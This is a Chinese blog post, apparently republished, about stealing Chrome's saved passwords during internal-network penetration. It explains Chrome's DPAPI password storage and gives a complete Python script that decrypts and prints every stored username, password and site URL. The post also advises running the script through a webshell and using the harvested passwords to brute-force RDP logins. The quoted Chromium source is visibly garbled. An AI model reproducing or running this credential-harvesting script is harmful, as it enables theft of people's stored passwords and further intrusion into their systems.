网页抓取解密(如何针对谷歌浏览器自动保存的密码进行获取,完成相应的程序)
优采云 发布时间: 2022-04-03 01:21网页抓取解密(如何针对谷歌浏览器自动保存的密码进行获取,完成相应的程序)
在我们实战渗透内网的过程中,经常会担心各种密码破解问题。与外网相比,内网的安全性相对脆弱,因为大量的密码被重复使用,而如何获取这些非常有价值的密码,很可能是一次渗透成功的关键。
下面我们来详细分析一下如何获取谷歌浏览器自动保存的密码并完成相应的程序编写。
一、关于Chrome浏览器密码存储机制:
谷歌浏览器的加密密钥存储在一个SQLite数据库中的%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data”(这里的APPDATA由系统或用户环境变量决定)中。那么如何他加密了吗?通过开源的Chromium,我们来一探究竟:
首先,当我们以用户身份登录一个网站时,会在表单中提交Username和Password对应的值。Chrome会先判断登录是否成功。部分判断代码如下:
Provisional_save_manager_->SubmitPassed();
if (provisional_save_manager_->HasGeneratedPassword())
UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”, 1);
If (provisional_save_manager_->IsNewLogin() && !provisional_save_manager_->HasGeneratedPassword()){
Delegate_->AddSavePasswordInfoBarIfPermitted(
Provisional_save_manager_.release());
} else {
provisional_save_manager_->Save();
Provisional_save_manager_.reset();
}
当我们成功登录并使用一组新的凭据(即第一次登录到这个 网站)时,Chrome 会询问我们是否需要记住密码。
那么登录成功后,Chrome 是如何存储密码的呢?
答案在EncryptedString函数中,通过调用EncryptString16函数,代码如下:
Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) {
DATA_BLOB input;
Input.pbData = static_cast(plaintext.length());
DATA_BLOB output;
BOOL result = CryptProtectData(&input, L””,NULL, NULL, NULL, 0,&output);
If (!result)
Return false;
//复制操作
Ciphertext->assign(reinterpret_cast(output.pbData);
LocalFree(output.pbData);
Return true;
}
代码最终使用了 Widows API 函数 CryptProtectData(记住这个函数,因为后面会提到)来加密。当我们有证书时,密码会返回给我们使用。
获得服务器权限后,证书问题就不再是问题了,那么下一步,我们解决如何获取这些密码。
二、编写脚本用完 Chrome 保存的密码
考虑到大多数情况下无法远程登录服务器执行GUI程序,所以运行Python脚本是最好的选择。唯一的缺点是如果WINDOWS不支持PYTHON环境,Python会被打包成EXE文件。会更大。
考虑下面的代码部分,因为不同的用户有不同的文件夹,需要知道LOGIN DATA文件的具体路径,所以我们需要python中的os.environ从环境变量中读取LOCALAPPDATA的路径,剩下的默认情况下,路径是 Google 生成的。
获取LOGINDATA文件的方法是:
google_path = r’ Google\Chrome\User Data\Default\Login Data’
file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)
#Login Data文件可以利用python中的sqlite3库来操作。
conn = sqlite3.connect(file_path)
for row in conn.execute('select username_value, password_value, signon_realm from logins'):
#利用Win32crpt.CryptUnprotectData来对通过加密的密码进行解密操作。
cursor = conn.cursor()
cursor.execute('select username_value, password_value, signon_realm from logins')
#接收全部返回结果
for data in cursor.fetchall():
passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
#利用win32crypt.CryptUnprotectData解密后,通过输出passwd这个元组中内容,可以逐一得到Chrome浏览器存储的密码。
这里我们使用 CryptUnprotectData 函数,它对应于我们上面提到的 CryptProtectData。理论上,CryptProtectData 的密文内容可以通过 CryptUnprotectData 函数解密。您可以自行尝试其他服务的解密方法。
三、完成实验脚本
脚本的完整代码如下:
#coding:utf8
import os, sys
import sqlite3
import win32crypt
google_path = r'Google\Chrome\User Data\Default\Login Data'
db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)
conn = sqlite3.connect(db_file_path)
cursor = conn.cursor()
cursor.execute('select username_value, password_value, signon_realm from logins')
#接收全部返回结果
for data in cursor.fetchall():
passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
if passwd:
print '-------------------------'
print u'[+]用户名: ' + data[0]
print u'[+]密码: ' + passwd[1]
print u'[+]网站URL: ' + data[2]
效果如下:
当然,在获取服务器webshell的情况下,如果你有执行权限但不能升级权限,可以用这种方法挖掘密码,然后用社会工程学的思想暴力破解服务器RDP服务密码。
如果 Webshell 不能回显,可以和 getpass 一样导出为文本。
Python chrome.py > 1.txt
(提示:在导出过程中,输出中文可能会报错,建议切换成英文进行导出。)
注意:当用户打开 Chrome 时,登录数据文件被锁定。如果此时要阅读,可以将Login Data文件复制到一个临时目录中进行阅读。
报酬
支付宝奖励
微信打赏
本文标题:密码破解Chrome浏览器存储密码获取
这篇文章的链接:
作者授权:除特别说明外,本文由cole原创编译并授权华火石出版出版。